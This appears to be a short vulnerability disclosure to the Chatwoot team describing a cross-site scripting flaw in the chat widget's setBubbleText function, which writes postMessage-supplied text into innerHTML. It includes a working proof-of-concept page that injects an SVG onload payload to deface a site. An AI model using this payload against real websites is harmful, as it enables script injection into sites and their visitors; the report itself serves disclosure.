Hey Chatwoot team, while looking for vulnerabilities I found a critical XSS which allow us to XSS/Deface any website which uses the chat, this can be automated to attack thousands of websites
Inside this function https://github.com/chatwoot/chatwoot/blob/30fcb47477481772c9a447f7406af3a72be26ed1/app/javascript/sdk/bubbleHelpers.js#L16
We have this code:
export const setBubbleText = bubbleText => {
if (isExpandedView(window.$chatwoot.type)) {
const textNode = document.getElementById('woot-widget--expanded__text');
textNode.innerHTML = bubbleText;
}
};
The code uses dangerous JS function innerHTML
with bubbleText
value the problem is we control value of this variable inside the postMessage function.
<body onclick=x()><h1>Click here
<script>
var w;
function x(){
w=window.open('https://www.chatwoot.com/','w');
setTimeout(()=>{
w.postMessage(`chatwoot-widget:{"event":"setBubbleLabel","label":"<svg><svg/onload='document.body.innerHTML="<br><br><h1 style=color:red;font-size:99px>pwned"'>"}`,'*')
}
,5000)
}
</script>
Thanks
Renwa